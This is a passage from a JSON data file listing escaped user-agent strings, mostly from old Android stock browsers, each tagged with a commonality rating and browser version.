Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; PC36100 Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SPH-D710BST Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; Build\\/ICS.MBX.20130823) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-P769 Build\\/JRO03L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I535 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SGH-T989 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-us; Z768G Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.1; en-us; AT100 Build\\/HMJ37) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SPH-D700 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; ALCATEL ONETOUCH P310A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; DROID2 GLOBAL Build\\/S273) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T599 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S5360B Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Lenovo-A388t_TD\\/S100 Linux\\/3.4.5 Android\\/4.1.2 Release\\/07.30.2013 Browser\\/AppleWebkit534.30 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; LG-MS770 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Callpod Keeper for Android 1.0 (10.3.1\\/246) Dalvik\\/2.1.0 (Linux; U; Android 7.0; SM-G920P Build\\/NRD90M)\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SPH-L900 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; myTouch4G Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; NABI2-NV7A Build\\/IMM76L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1; en-us; sdk Build\\/ERD79) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; LGL55C Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; KFJWI Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SPH-D710BST Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; SM-T210 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; ADR6330VW Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; DROIDX Build\\/4.5.1_57_DX8-51) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-P659 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; ALCATEL ONE TOUCH 5020N Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.1 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I577 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; M865 Build\\/HuaweiM865) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; en-us; ME301T Build\\/JOP40D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T769 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I405 4G Build\\/GC1) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; ADR6300 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; DROIDX Build\\/4.5.1_57_DX9-10) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; BNTV400 Build\\/IMM76L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SCH-R530C Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; Z750C Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I200PP Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-us; imx53_smd Build\\/R10.3.3-r1) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SGH-T959V Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; GT-N5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; PantechP9070 Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2.1; en-us; AT100 Build\\/HTK55D) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; Next7P12-8G Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; SCH-I800 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-D500 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I510 4G Build\\/FP8) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; zh-cn; KONKA_V931_TD\\/1.0 Android\\/4.0.3 Release\\/8.8.2013 Browser\\/AppleWebKit534.30 Build\\/MocorDroid4.0.3) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; GT-P5113 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; ALCATEL ONE TOUCH Fierce Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I727 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; pt-br; GT-I8552B Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-P769 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; GT-P3113 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SCH-I905 4G Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux;u;Android 2.3.7;zh-cn;) AppleWebKit\\/533.1 (KHTML,like Gecko) Version\\/4.0 Mobile Safari\\/533.1 (compatible; +http:\\/\\/www.baidu.com\\/search\\/spider.html)\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S5830C Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I925 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTCONE Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; tr-tr; NeoTab B80 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-S6810P Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; GT-I9082 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; Event Build\\/IML77) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; Sony Tablet S Build\\/TISU0143) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; fr-fr; GT-P5110 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-ca; SM-T210R Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; N861 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; IdeaTabA1000L-F Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2.1; en-us; PantechP4100 Build\\/HTK75) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I717 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; A500 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SPH-L710 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; HUAWEI H881C Build\\/HuaweiH881C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R530C Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SCH-R760 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z667G Build\\/JLS36C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Callpod Keeper for Android 1.0 (10.1.1\\/240) Dalvik\\/2.1.0 (Linux; U; Android 6.0; LG-V495 Build\\/MRA58K)\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; PantechP9060 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T999N Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; GT-S5360L Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us; C771 Build\\/C771M150) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2; en-us; SAMSUNG-SGH-I957 Build\\/MASTER) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; Prism Build\\/HuaweiU8651) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-ca; SGH-I747M-parrot Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; lt-lt; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; HTC_C525c Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I847 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LGL39C\\/V100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; C811 4G Build\\/C811M070) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-ca; SM-T210R Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I535 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; VS950 4G Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I727 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; GT-N5110 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0PCV220\\/1.10.506.1 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-gb; GT-P3110 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I437 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; sdk Build\\/MASTER) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SCH-R530M Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; DROID3 Build\\/5.5.1_84_D3G-66_M2-10) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I777 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; C5215 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-ca; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I747 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-ca; SGH-I727R Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-gb; P90 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; C6530N Build\\/JLS36C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2; en-us; GT-P7510 Build\\/HTJ85B) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; N800 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 